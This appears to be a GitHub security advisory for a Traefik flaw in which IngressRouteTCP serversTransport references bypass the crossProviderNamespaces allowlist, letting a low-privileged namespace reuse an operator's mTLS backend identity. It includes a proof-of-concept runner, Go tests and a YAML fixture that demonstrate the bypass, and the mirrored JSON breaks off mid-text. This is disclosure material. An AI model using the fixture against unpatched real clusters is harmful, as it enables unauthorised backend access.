GHSA-42CJ-M3VJ-89WV

Vulnerability from github – Published: 2026-08-05 21:53 – Updated: 2026-08-05 21:53
VLAI
Summary
Traefik CRD IngressRouteTCP ServersTransport Cross-Provider Namespace Bypass
Details

Summary

There is a medium-severity cross-provider reference vulnerability in Traefik's Kubernetes CRD provider. The crossProviderNamespaces allowlist is enforced for HTTP serversTransport references but was not enforced for IngressRouteTCP service serversTransport references. A low-privileged Kubernetes user in a namespace that is not listed in crossProviderNamespaces could set serversTransport: foo@file on an IngressRouteTCP service, causing Traefik to accept the forbidden cross-provider reference and use the file-provider TCPServersTransport — including privileged backend mTLS client certificates, SPIFFE identity, or PROXY-protocol settings. The fix applies the crossProviderNamespaces allowlist to TCP serversTransport references.

Patches

  • https://github.com/traefik/traefik/releases/tag/v3.6.23
  • https://github.com/traefik/traefik/releases/tag/v3.7.7

For more information

If you have any questions or comments about this advisory, please open an issue.

Original Description ## Summary Traefik's Kubernetes CRD provider enforces `crossProviderNamespaces` for several cross-provider references, but `IngressRouteTCP` service `serversTransport` references skip that allowlist. A low-privileged Kubernetes user in a namespace that is not listed in `crossProviderNamespaces` can still set `serversTransport: foo@file` on an `IngressRouteTCP` service. Traefik accepts the forbidden cross-provider reference and later uses the referenced `TCPServersTransport`, including privileged backend mTLS client certificates, SPIFFE identity, or PROXY protocol settings. ## Description `crossProviderNamespaces` is documented and implemented as an allowlist for namespaces that may declare cross-provider references from Kubernetes CRD objects. HTTP `serversTransport` references enforce that allowlist. TCP `serversTransport` references do not. An attacker with low Kubernetes privileges in namespace `default` can create an `IngressRouteTCP` service with:
serversTransport: foo@file
Even when the provider is configured with:
crossProviderNamespaces:
  - operator-only
Traefik still emits a TCP dynamic service whose load balancer points to `foo@file`. At runtime, `DialerManager.Build()` uses the exact referenced transport name and applies that transport's TLS client certificates and related backend-connection settings. ## Impact The PoC demonstrates two positive facts: 1. A namespace outside `crossProviderNamespaces` can cause Traefik to accept and store `LoadBalancer.ServersTransport = "foo@file"` from an `IngressRouteTCP` service. 2. A qualified `foo@file` `TCPServersTransport` with a client certificate is actually consumed by the TCP dialer and presented to an mTLS backend. This proves a backend identity relay primitive: a lower-privileged CRD author can make Traefik connect to a backend using an operator-defined cross-provider transport identity that the namespace should not be allowed to reference. ## Proof Of Concept ### Files - `run.sh`: portable runner. - `poc_crd_test.go`: positive CRD provider proof. - `with_servers_transport_cross_provider_poc.yml`: minimal `IngressRouteTCP` fixture. - `poc_tcp_mtls_test.go`: positive runtime mTLS identity-use proof. run.sh
#!/usr/bin/env sh
set -eu

TARGET_REF="${TARGET_REF:-v3.7.5}"
REPO_URL="${REPO_URL:-https://github.com/traefik/traefik.git}"
SCRIPT_DIR="$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)"
WORKDIR="${WORKDIR:-$(mktemp -d "${TMPDIR:-/tmp}/traefik-tcp-st-poc.XXXXXX")}"

if [ "${KEEP_WORKDIR:-0}" != "1" ]; then
    trap 'rm -rf "$WORKDIR"' EXIT INT TERM
fi

echo "[*] target_ref=$TARGET_REF"
echo "[*] workdir=$WORKDIR"

if [ -n "${TRAEFIK_SRC:-}" ]; then
    echo "[*] cloning from local source: $TRAEFIK_SRC"
    git clone -q "$TRAEFIK_SRC" "$WORKDIR/traefik"
    cd "$WORKDIR/traefik"
    git -c advice.detachedHead=false checkout -q "$TARGET_REF"
else
    echo "[*] cloning from remote: $REPO_URL"
    git -c advice.detachedHead=false clone -q --depth 1 --branch "$TARGET_REF" "$REPO_URL" "$WORKDIR/traefik"
    cd "$WORKDIR/traefik"
fi

mkdir -p pkg/provider/kubernetes/crd/fixtures/tcp
cp "$SCRIPT_DIR/poc_crd_test.go" \
     pkg/provider/kubernetes/crd/tcp_serverstransport_cross_provider_poc_test.go
cp "$SCRIPT_DIR/with_servers_transport_cross_provider_poc.yml" \
     pkg/provider/kubernetes/crd/fixtures/tcp/with_servers_transport_cross_provider_poc.yml
cp "$SCRIPT_DIR/poc_tcp_mtls_test.go" \
     pkg/tcp/dialer_cross_provider_identity_poc_test.go

echo "[*] running CRD provider policy-bypass PoC"
go test ./pkg/provider/kubernetes/crd \
    -run '^TestPoCTCPServersTransportCrossProviderNamespacesBypass$' \
    -count=1 -v

echo "[*] running TCPServersTransport mTLS identity-use PoC"
go test ./pkg/tcp \
    -run '^TestPoCQualifiedTCPServersTransportPresentsFileMTLSIdentity$' \
    -count=1 -v

echo "POC_RESULT=PASS"
poc_crd_test.go
package crd

import (
    "testing"

    "github.com/stretchr/testify/require"
    traefikcrdfake "github.com/traefik/traefik/v3/pkg/provider/kubernetes/crd/generated/clientset/versioned/fake"
    kubefake "k8s.io/client-go/kubernetes/fake"
)

func TestPoCTCPServersTransportCrossProviderNamespacesBypass(t *testing.T) {
    k8sObjects, crdObjects := readResources(t, []string{
        "tcp/services.yml",
        "tcp/with_servers_transport_cross_provider_poc.yml",
    })

    kubeClient := kubefake.NewClientset(k8sObjects...)
    crdClient := traefikcrdfake.NewClientset(crdObjects...)
    client := newClientImpl(kubeClient, crdClient)

    stopCh := make(chan struct{})
    defer close(stopCh)

    eventCh, err := client.WatchAll(nil, stopCh)
    require.NoError(t, err)
    <-eventCh

    provider := Provider{
        AllowCrossNamespace:     true,
        CrossProviderNamespaces: []string{"operator-only"},
    }

    conf := provider.loadConfigurationFromCRD(t.Context(), client)
    service := conf.TCP.Services["default-test.route-fdd3e9338e47a45efefc"]
    require.NotNil(t, service)
    require.NotNil(t, service.LoadBalancer)
    require.Equal(t, "foo@file", service.LoadBalancer.ServersTransport)
    require.NotEmpty(t, service.LoadBalancer.Servers)
    require.True(t, service.LoadBalancer.Servers[0].TLS)

    t.Logf("POC_CRD_RESULT=accepted route_namespace=default allowed_cross_provider_namespaces=%v serversTransport=%q backend_tls=%v",
        provider.CrossProviderNamespaces,
        service.LoadBalancer.ServersTransport,
        service.LoadBalancer.Servers[0].TLS)
}
poc_tcp_mtls_test.go
package tcp

import (
    "crypto/rand"
    "crypto/rsa"
    "crypto/tls"
    "crypto/x509"
    "crypto/x509/pkix"
    "encoding/pem"
    "fmt"
    "io"
    "math/big"
    "net"
    "testing"
    "time"

    "github.com/stretchr/testify/require"
    "github.com/traefik/traefik/v3/pkg/config/dynamic"
    traefiktls "github.com/traefik/traefik/v3/pkg/tls"
    "github.com/traefik/traefik/v3/pkg/types"
)

func TestPoCQualifiedTCPServersTransportPresentsFileMTLSIdentity(t *testing.T) {
    pki := newPoCPKI(t)

    dialerManager := NewDialerManager(nil)
    dialerManager.Update(map[string]*dynamic.TCPServersTransport{
        "foo@file": {
            TLS: &dynamic.TLSClientConfig{
                ServerName: "example.com",
                RootCAs:    []types.FileOrContent{types.FileOrContent(pki.caCertPEM)},
                Certificates: traefiktls.Certificates{
                    traefiktls.Certificate{
                        CertFile: types.FileOrContent(pki.clientCertPEM),
                        KeyFile:  types.FileOrContent(pki.clientKeyPEM),
                    },
                },
            },
        },
    })

    backendAddr, peerCN, done, closeBackend := newPoCMTLSBackend(t, pki)
    defer closeBackend()

    dialer, err := dialerManager.Build(&dynamic.TCPServersLoadBalancer{ServersTransport: "foo@file"}, true)
    require.NoError(t, err)

    conn, err := dialer.Dial("tcp", backendAddr, nil)
    require.NoError(t, err)
    defer conn.Close()

    _, err = conn.Write([]byte("ping"))
    require.NoError(t, err)

    buf := make([]byte, 4)
    _, err = io.ReadFull(conn, buf)
    require.NoError(t, err)
    require.Equal(t, "PONG", string(buf))

    var cn string
    select {
    case cn = <-peerCN:
    case <-time.After(time.Second):
        t.Fatal("timed out waiting for backend peer certificate")
    }

    select {
    case err := <-done:
        require.NoError(t, err)
    case <-time.After(time.Second):
        t.Fatal("timed out waiting for backend completion")
    }

    t.Logf("POC_MTLS_RESULT=backend_accepted_transport_identity serversTransport=%q peer_cn=%q response=%q",
        "foo@file", cn, string(buf))
}

func newPoCMTLSBackend(t *testing.T, pki poCPKI) (string, <-chan string, <-chan error, func()) {
    t.Helper()

    serverCert, err := tls.X509KeyPair(pki.serverCertPEM, pki.serverKeyPEM)
    require.NoError(t, err)

    clientPool := x509.NewCertPool()
    require.True(t, clientPool.AppendCertsFromPEM(pki.caCertPEM))

    listener, err := net.Listen("tcp", "127.0.0.1:0")
    require.NoError(t, err)

    tlsListener := tls.NewListener(listener, &tls.Config{
        Certificates: []tls.Certificate{serverCert},
        ClientAuth:   tls.RequireAndVerifyClientCert,
        ClientCAs:    clientPool,
    })

    peerCN := make(chan string, 1)
    done := make(chan error, 1)

    go func() {
        conn, err := tlsListener.Accept()
        if err != nil {
            done <- err
            return
        }
        defer conn.Close()

        tlsConn, ok := conn.(*tls.Conn)
        if !ok {
            done <- fmt.Errorf("unexpected connection type %T", conn)
            return
        }

        if err := tlsConn.Handshake(); err != nil {
            done <- err
            return
        }

        state := tlsConn.ConnectionState()
        if len(state.PeerCertificates) == 0 {
            done <- fmt.Errorf("missing peer certificate")
            return
        }
        peerCN <- state.PeerCertificates[0].Subject.CommonName

        buf := make([]byte, 4)
        if _, err := io.ReadFull(tlsConn, buf); err != nil {
            done <- err
            return
        }
        if string(buf) != "ping" {
            done <- fmt.Errorf("unexpected backend payload %q", string(buf))
            return
        }

        _, err = tlsConn.Write([]byte("PONG"))
        done <- err
    }()

    return listener.Addr().String(), peerCN, done, func() {
        _ = tlsListener.Close()
    }
}

type poCPKI struct {
    caCertPEM     []byte
    serverCertPEM []byte
    serverKeyPEM  []byte
    clientCertPEM []byte
    clientKeyPEM  []byte
}

func newPoCPKI(t *testing.T) poCPKI {
    t.Helper()

    caKey, err := rsa.GenerateKey(rand.Reader, 2048)
    require.NoError(t, err)

    caTemplate := &x509.Certificate{
        SerialNumber:          big.NewInt(1),
        Subject:               pkix.Name{CommonName: "poc-ca"},
        NotBefore:             time.Now().Add(-time.Minute),
        NotAfter:              time.Now().Add(time.Hour),
        KeyUsage:              x509.KeyUsageCertSign | x509.KeyUsageCRLSign,
        BasicConstraintsValid: true,
        IsCA:                  true,
    }

    caDER, err := x509.CreateCertificate(rand.Reader, caTemplate, caTemplate, &caKey.PublicKey, caKey)
    require.NoError(t, err)

    serverCertPEM, serverKeyPEM := newPoCLeafCert(t, caTemplate, caKey, "poc-server", []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth})
    clientCertPEM, clientKeyPEM := newPoCLeafCert(t, caTemplate, caKey, "example.com", []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth})

    return poCPKI{
        caCertPEM:     pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: caDER}),
        serverCertPEM: serverCertPEM,
        serverKeyPEM:  serverKeyPEM,
        clientCertPEM: clientCertPEM,
        clientKeyPEM:  clientKeyPEM,
    }
}

func newPoCLeafCert(t *testing.T, caTemplate *x509.Certificate, caKey *rsa.PrivateKey, cn string, eku []x509.ExtKeyUsage) ([]byte, []byte) {
    t.Helper()

    key, err := rsa.GenerateKey(rand.Reader, 2048)
    require.NoError(t, err)

    serial, err := rand.Int(rand.Reader, new(big.Int).Lsh(big.NewInt(1), 128))
    require.NoError(t, err)

    template := &x509.Certificate{
        SerialNumber: serial,
        Subject:      pkix.Name{CommonName: cn},
        DNSNames:     []string{"example.com"},
        NotBefore:    time.Now().Add(-time.Minute),
        NotAfter:     time.Now().Add(time.Hour),
        KeyUsage:     x509.KeyUsageDigitalSignature | x509.KeyUsageKeyEncipherment,
        ExtKeyUsage:  eku,
    }

    certDER, err := x509.CreateCertificate(rand.Reader, template, caTemplate, &key.PublicKey, caKey)
    require.NoError(t, err)

    keyDER := x509.MarshalPKCS1PrivateKey(key)

    return pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: certDER}),
        pem.EncodeToMemory(&pem.Block{Type: "RSA PRIVATE KEY", Bytes: keyDER})
}
with_servers_transport_cross_provider_poc.yml
apiVersion: traefik.io/v1alpha1
kind: IngressRouteTCP
metadata:
  name: test.route
  namespace: default

spec:
  entryPoints:
    - foo

  routes:
  - match: HostSNI(`foo.com`)
    priority: 12
    services:
    - name: whoamitcp
      port: 8000
      tls: true
      serversTransport: foo@file
### Requirements - `git` - Go toolchain compatible with the target Traefik tag. `v3.7.5` uses `go 1.25.0`. - Network access to clone `https://github.com/traefik/traefik.git` and download Go modules on first run. No local Traefik checkout is required by default. ### Run
./run.sh
Optional target override:
TARGET_REF=v3.6.21 ./run.sh
Optional local-source override for faster local validation:
TRAEFIK_SRC=/path/to/traefik TARGET_REF=v3.7.5 ./run.sh
### Expected Result The run should end with:
POC_CRD_RESULT=accepted route_namespace=default allowed_cross_provider_namespaces=[operator-only] serversTransport="foo@file" backend_tls=true
POC_MTLS_RESULT=backend_accepted_transport_identity serversTransport="foo@file" peer_cn="example.com" response="PONG"
POC_RESULT=PASS
## Root Cause Line numbers below are from:
repository: https://github.com/traefik/traefik
tag:        v3.7.5
commit:     26c96a3935cafb473f4a5bae1886560d9aa4e4f0
### 1. The provider option is meant to cover IngressRouteTCP `pkg/provider/kubernetes/crd/kubernetes.go:60`
CrossProviderNamespaces []string `description:"List of namespaces from which IngressRoute, IngressRouteTCP, IngressRouteUDP, and TraefikService are allowed to declare cross-provider references." ...`
This establishes the security invariant: `IngressRouteTCP` cross-provider references should be gated by `crossProviderNamespaces`. ### 2. TCP service creation forwards the attacker-controlled transport name `pkg/provider/kubernetes/crd/kubernetes_tcp.go:183-185`
if service.ServersTransport != "" {
    tcpService.LoadBalancer.ServersTransport, err = p.makeTCPServersTransportKey(parentNamespace, service.ServersTransport)
}
The attacker-controlled `serversTransport` field is passed into the key builder. ### 3. TCP key builder returns cross-provider names without the allowlist check `pkg/provider/kubernetes/crd/kubernetes_tcp.go:321-322`
if strings.Contains(serversTransportName, providerNamespaceSeparator) {
    return serversTransportName, nil
}
This accepts `foo@file` directly. There is no call to `isCrossProviderNamespaceAllowed(...)` on this TCP path. ### 4. HTTP sibling contains the missing authorization gate `pkg/provider/kubernetes/crd/kubernetes_http.go:507-508`
if !isCrossProviderNamespaceAllowed(c.crossProviderNamespaces, parentNamespace) {
    return "", fmt.Errorf("serversTransport %q reference is not allowed: namespace %q is not in crossProviderNamespaces", ...)
}
The HTTP path proves the intended policy: cross-provider `serversTransport` references should be rejected when the route namespace is not in the allowlist. ### 5. Runtime TCP dialer consumes the exact referenced transport `pkg/tcp/dialer.go:135-141`
if config.ServersTransport != "" {
    name = config.ServersTransport
}
st, ok := d.serversTransports[name]
`pkg/tcp/dialer.go:183-188`
tlsConfig = &tls.Config{
    ServerName:   st.TLS.ServerName,
    Certificates: st.TLS.Certificates.GetCertificates(),
}
The accepted `foo@file` reference is not a harmless string. It selects the cross-provider transport and applies its client TLS identity during backend connections.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.6.22"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.6.0"
            },
            {
              "fixed": "3.6.23"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.7.6"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.7.0"
            },
            {
              "fixed": "3.7.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-65602"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-05T21:53:35Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThere is a medium-severity cross-provider reference vulnerability in Traefik\u0027s Kubernetes CRD provider. The `crossProviderNamespaces` allowlist is enforced for HTTP `serversTransport` references but was not enforced for `IngressRouteTCP` service `serversTransport` references. A low-privileged Kubernetes user in a namespace that is not listed in `crossProviderNamespaces` could set `serversTransport: foo@file` on an `IngressRouteTCP` service, causing Traefik to accept the forbidden cross-provider reference and use the file-provider `TCPServersTransport` \u2014 including privileged backend mTLS client certificates, SPIFFE identity, or PROXY-protocol settings. The fix applies the `crossProviderNamespaces` allowlist to TCP `serversTransport` references.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.6.23\n- https://github.com/traefik/traefik/releases/tag/v3.7.7\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n## Summary\n\nTraefik\u0027s Kubernetes CRD provider enforces `crossProviderNamespaces` for several\ncross-provider references, but `IngressRouteTCP` service\n`serversTransport` references skip that allowlist. A low-privileged Kubernetes\nuser in a namespace that is not listed in `crossProviderNamespaces` can still\nset `serversTransport: foo@file` on an `IngressRouteTCP` service. Traefik\naccepts the forbidden cross-provider reference and later uses the referenced\n`TCPServersTransport`, including privileged backend mTLS client certificates,\nSPIFFE identity, or PROXY protocol settings.\n\n## Description\n\n`crossProviderNamespaces` is documented and implemented as an allowlist for\nnamespaces that may declare cross-provider references from Kubernetes CRD\nobjects. HTTP `serversTransport` references enforce that allowlist. TCP\n`serversTransport` references do not.\n\nAn attacker with low Kubernetes privileges in namespace `default` can create an\n`IngressRouteTCP` service with:\n\n```yaml\nserversTransport: foo@file\n```\n\nEven when the provider is configured with:\n\n```yaml\ncrossProviderNamespaces:\n  - operator-only\n```\n\nTraefik still emits a TCP dynamic service whose load balancer points to\n`foo@file`. At runtime, `DialerManager.Build()` uses the exact referenced\ntransport name and applies that transport\u0027s TLS client certificates and related\nbackend-connection settings.\n\n## Impact\n\nThe PoC demonstrates two positive facts:\n\n1. A namespace outside `crossProviderNamespaces` can cause Traefik to accept and\n   store `LoadBalancer.ServersTransport = \"foo@file\"` from an\n   `IngressRouteTCP` service.\n2. A qualified `foo@file` `TCPServersTransport` with a client certificate is\n   actually consumed by the TCP dialer and presented to an mTLS backend.\n\nThis proves a backend identity relay primitive: a lower-privileged CRD author\ncan make Traefik connect to a backend using an operator-defined cross-provider\ntransport identity that the namespace should not be allowed to reference.\n\n## Proof Of Concept\n\n### Files\n\n- `run.sh`: portable runner.\n- `poc_crd_test.go`: positive CRD provider proof.\n- `with_servers_transport_cross_provider_poc.yml`: minimal\n  `IngressRouteTCP` fixture.\n- `poc_tcp_mtls_test.go`: positive runtime mTLS identity-use proof.\n\n\u003cdetails\u003e\n\u003csummary\u003erun.sh\u003c/summary\u003e\n\n```bash\n#!/usr/bin/env sh\nset -eu\n\nTARGET_REF=\"${TARGET_REF:-v3.7.5}\"\nREPO_URL=\"${REPO_URL:-https://github.com/traefik/traefik.git}\"\nSCRIPT_DIR=\"$(CDPATH= cd -- \"$(dirname -- \"$0\")\" \u0026\u0026 pwd)\"\nWORKDIR=\"${WORKDIR:-$(mktemp -d \"${TMPDIR:-/tmp}/traefik-tcp-st-poc.XXXXXX\")}\"\n\nif [ \"${KEEP_WORKDIR:-0}\" != \"1\" ]; then\n\ttrap \u0027rm -rf \"$WORKDIR\"\u0027 EXIT INT TERM\nfi\n\necho \"[*] target_ref=$TARGET_REF\"\necho \"[*] workdir=$WORKDIR\"\n\nif [ -n \"${TRAEFIK_SRC:-}\" ]; then\n\techo \"[*] cloning from local source: $TRAEFIK_SRC\"\n\tgit clone -q \"$TRAEFIK_SRC\" \"$WORKDIR/traefik\"\n\tcd \"$WORKDIR/traefik\"\n\tgit -c advice.detachedHead=false checkout -q \"$TARGET_REF\"\nelse\n\techo \"[*] cloning from remote: $REPO_URL\"\n\tgit -c advice.detachedHead=false clone -q --depth 1 --branch \"$TARGET_REF\" \"$REPO_URL\" \"$WORKDIR/traefik\"\n\tcd \"$WORKDIR/traefik\"\nfi\n\nmkdir -p pkg/provider/kubernetes/crd/fixtures/tcp\ncp \"$SCRIPT_DIR/poc_crd_test.go\" \\\n\t pkg/provider/kubernetes/crd/tcp_serverstransport_cross_provider_poc_test.go\ncp \"$SCRIPT_DIR/with_servers_transport_cross_provider_poc.yml\" \\\n\t pkg/provider/kubernetes/crd/fixtures/tcp/with_servers_transport_cross_provider_poc.yml\ncp \"$SCRIPT_DIR/poc_tcp_mtls_test.go\" \\\n\t pkg/tcp/dialer_cross_provider_identity_poc_test.go\n\necho \"[*] running CRD provider policy-bypass PoC\"\ngo test ./pkg/provider/kubernetes/crd \\\n\t-run \u0027^TestPoCTCPServersTransportCrossProviderNamespacesBypass$\u0027 \\\n\t-count=1 -v\n\necho \"[*] running TCPServersTransport mTLS identity-use PoC\"\ngo test ./pkg/tcp \\\n\t-run \u0027^TestPoCQualifiedTCPServersTransportPresentsFileMTLSIdentity$\u0027 \\\n\t-count=1 -v\n\necho \"POC_RESULT=PASS\"\n```\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003epoc_crd_test.go\u003c/summary\u003e\n\n```go\npackage crd\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\ttraefikcrdfake \"github.com/traefik/traefik/v3/pkg/provider/kubernetes/crd/generated/clientset/versioned/fake\"\n\tkubefake \"k8s.io/client-go/kubernetes/fake\"\n)\n\nfunc TestPoCTCPServersTransportCrossProviderNamespacesBypass(t *testing.T) {\n\tk8sObjects, crdObjects := readResources(t, []string{\n\t\t\"tcp/services.yml\",\n\t\t\"tcp/with_servers_transport_cross_provider_poc.yml\",\n\t})\n\n\tkubeClient := kubefake.NewClientset(k8sObjects...)\n\tcrdClient := traefikcrdfake.NewClientset(crdObjects...)\n\tclient := newClientImpl(kubeClient, crdClient)\n\n\tstopCh := make(chan struct{})\n\tdefer close(stopCh)\n\n\teventCh, err := client.WatchAll(nil, stopCh)\n\trequire.NoError(t, err)\n\t\u003c-eventCh\n\n\tprovider := Provider{\n\t\tAllowCrossNamespace:     true,\n\t\tCrossProviderNamespaces: []string{\"operator-only\"},\n\t}\n\n\tconf := provider.loadConfigurationFromCRD(t.Context(), client)\n\tservice := conf.TCP.Services[\"default-test.route-fdd3e9338e47a45efefc\"]\n\trequire.NotNil(t, service)\n\trequire.NotNil(t, service.LoadBalancer)\n\trequire.Equal(t, \"foo@file\", service.LoadBalancer.ServersTransport)\n\trequire.NotEmpty(t, service.LoadBalancer.Servers)\n\trequire.True(t, service.LoadBalancer.Servers[0].TLS)\n\n\tt.Logf(\"POC_CRD_RESULT=accepted route_namespace=default allowed_cross_provider_namespaces=%v serversTransport=%q backend_tls=%v\",\n\t\tprovider.CrossProviderNamespaces,\n\t\tservice.LoadBalancer.ServersTransport,\n\t\tservice.LoadBalancer.Servers[0].TLS)\n}\n```\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003epoc_tcp_mtls_test.go\u003c/summary\u003e\n\n```go\npackage tcp\n\nimport (\n\t\"crypto/rand\"\n\t\"crypto/rsa\"\n\t\"crypto/tls\"\n\t\"crypto/x509\"\n\t\"crypto/x509/pkix\"\n\t\"encoding/pem\"\n\t\"fmt\"\n\t\"io\"\n\t\"math/big\"\n\t\"net\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/stretchr/testify/require\"\n\t\"github.com/traefik/traefik/v3/pkg/config/dynamic\"\n\ttraefiktls \"github.com/traefik/traefik/v3/pkg/tls\"\n\t\"github.com/traefik/traefik/v3/pkg/types\"\n)\n\nfunc TestPoCQualifiedTCPServersTransportPresentsFileMTLSIdentity(t *testing.T) {\n\tpki := newPoCPKI(t)\n\n\tdialerManager := NewDialerManager(nil)\n\tdialerManager.Update(map[string]*dynamic.TCPServersTransport{\n\t\t\"foo@file\": {\n\t\t\tTLS: \u0026dynamic.TLSClientConfig{\n\t\t\t\tServerName: \"example.com\",\n\t\t\t\tRootCAs:    []types.FileOrContent{types.FileOrContent(pki.caCertPEM)},\n\t\t\t\tCertificates: traefiktls.Certificates{\n\t\t\t\t\ttraefiktls.Certificate{\n\t\t\t\t\t\tCertFile: types.FileOrContent(pki.clientCertPEM),\n\t\t\t\t\t\tKeyFile:  types.FileOrContent(pki.clientKeyPEM),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t})\n\n\tbackendAddr, peerCN, done, closeBackend := newPoCMTLSBackend(t, pki)\n\tdefer closeBackend()\n\n\tdialer, err := dialerManager.Build(\u0026dynamic.TCPServersLoadBalancer{ServersTransport: \"foo@file\"}, true)\n\trequire.NoError(t, err)\n\n\tconn, err := dialer.Dial(\"tcp\", backendAddr, nil)\n\trequire.NoError(t, err)\n\tdefer conn.Close()\n\n\t_, err = conn.Write([]byte(\"ping\"))\n\trequire.NoError(t, err)\n\n\tbuf := make([]byte, 4)\n\t_, err = io.ReadFull(conn, buf)\n\trequire.NoError(t, err)\n\trequire.Equal(t, \"PONG\", string(buf))\n\n\tvar cn string\n\tselect {\n\tcase cn = \u003c-peerCN:\n\tcase \u003c-time.After(time.Second):\n\t\tt.Fatal(\"timed out waiting for backend peer certificate\")\n\t}\n\n\tselect {\n\tcase err := \u003c-done:\n\t\trequire.NoError(t, err)\n\tcase \u003c-time.After(time.Second):\n\t\tt.Fatal(\"timed out waiting for backend completion\")\n\t}\n\n\tt.Logf(\"POC_MTLS_RESULT=backend_accepted_transport_identity serversTransport=%q peer_cn=%q response=%q\",\n\t\t\"foo@file\", cn, string(buf))\n}\n\nfunc newPoCMTLSBackend(t *testing.T, pki poCPKI) (string, \u003c-chan string, \u003c-chan error, func()) {\n\tt.Helper()\n\n\tserverCert, err := tls.X509KeyPair(pki.serverCertPEM, pki.serverKeyPEM)\n\trequire.NoError(t, err)\n\n\tclientPool := x509.NewCertPool()\n\trequire.True(t, clientPool.AppendCertsFromPEM(pki.caCertPEM))\n\n\tlistener, err := net.Listen(\"tcp\", \"127.0.0.1:0\")\n\trequire.NoError(t, err)\n\n\ttlsListener := tls.NewListener(listener, \u0026tls.Config{\n\t\tCertificates: []tls.Certificate{serverCert},\n\t\tClientAuth:   tls.RequireAndVerifyClientCert,\n\t\tClientCAs:    clientPool,\n\t})\n\n\tpeerCN := make(chan string, 1)\n\tdone := make(chan error, 1)\n\n\tgo func() {\n\t\tconn, err := tlsListener.Accept()\n\t\tif err != nil {\n\t\t\tdone \u003c- err\n\t\t\treturn\n\t\t}\n\t\tdefer conn.Close()\n\n\t\ttlsConn, ok := conn.(*tls.Conn)\n\t\tif !ok {\n\t\t\tdone \u003c- fmt.Errorf(\"unexpected connection type %T\", conn)\n\t\t\treturn\n\t\t}\n\n\t\tif err := tlsConn.Handshake(); err != nil {\n\t\t\tdone \u003c- err\n\t\t\treturn\n\t\t}\n\n\t\tstate := tlsConn.ConnectionState()\n\t\tif len(state.PeerCertificates) == 0 {\n\t\t\tdone \u003c- fmt.Errorf(\"missing peer certificate\")\n\t\t\treturn\n\t\t}\n\t\tpeerCN \u003c- state.PeerCertificates[0].Subject.CommonName\n\n\t\tbuf := make([]byte, 4)\n\t\tif _, err := io.ReadFull(tlsConn, buf); err != nil {\n\t\t\tdone \u003c- err\n\t\t\treturn\n\t\t}\n\t\tif string(buf) != \"ping\" {\n\t\t\tdone \u003c- fmt.Errorf(\"unexpected backend payload %q\", string(buf))\n\t\t\treturn\n\t\t}\n\n\t\t_, err = tlsConn.Write([]byte(\"PONG\"))\n\t\tdone \u003c- err\n\t}()\n\n\treturn listener.Addr().String(), peerCN, done, func() {\n\t\t_ = tlsListener.Close()\n\t}\n}\n\ntype poCPKI struct {\n\tcaCertPEM     []byte\n\tserverCertPEM []byte\n\tserverKeyPEM  []byte\n\tclientCertPEM []byte\n\tclientKeyPEM  []byte\n}\n\nfunc newPoCPKI(t *testing.T) poCPKI {\n\tt.Helper()\n\n\tcaKey, err := rsa.GenerateKey(rand.Reader, 2048)\n\trequire.NoError(t, err)\n\n\tcaTemplate := \u0026x509.Certificate{\n\t\tSerialNumber:          big.NewInt(1),\n\t\tSubject:               pkix.Name{CommonName: \"poc-ca\"},\n\t\tNotBefore:             time.Now().Add(-time.Minute),\n\t\tNotAfter:              time.Now().Add(time.Hour),\n\t\tKeyUsage:              x509.KeyUsageCertSign | x509.KeyUsageCRLSign,\n\t\tBasicConstraintsValid: true,\n\t\tIsCA:                  true,\n\t}\n\n\tcaDER, err := x509.CreateCertificate(rand.Reader, caTemplate, caTemplate, \u0026caKey.PublicKey, caKey)\n\trequire.NoError(t, err)\n\n\tserverCertPEM, serverKeyPEM := newPoCLeafCert(t, caTemplate, caKey, \"poc-server\", []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth})\n\tclientCertPEM, clientKeyPEM := newPoCLeafCert(t, caTemplate, caKey, \"example.com\", []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth})\n\n\treturn poCPKI{\n\t\tcaCertPEM:     pem.EncodeToMemory(\u0026pem.Block{Type: \"CERTIFICATE\", Bytes: caDER}),\n\t\tserverCertPEM: serverCertPEM,\n\t\tserverKeyPEM:  serverKeyPEM,\n\t\tclientCertPEM: clientCertPEM,\n\t\tclientKeyPEM:  clientKeyPEM,\n\t}\n}\n\nfunc newPoCLeafCert(t *testing.T, caTemplate *x509.Certificate, caKey *rsa.PrivateKey, cn string, eku []x509.ExtKeyUsage) ([]byte, []byte) {\n\tt.Helper()\n\n\tkey, err := rsa.GenerateKey(rand.Reader, 2048)\n\trequire.NoError(t, err)\n\n\tserial, err := rand.Int(rand.Reader, new(big.Int).Lsh(big.NewInt(1), 128))\n\trequire.NoError(t, err)\n\n\ttemplate := \u0026x509.Certificate{\n\t\tSerialNumber: serial,\n\t\tSubject:      pkix.Name{CommonName: cn},\n\t\tDNSNames:     []string{\"example.com\"},\n\t\tNotBefore:    time.Now().Add(-time.Minute),\n\t\tNotAfter:     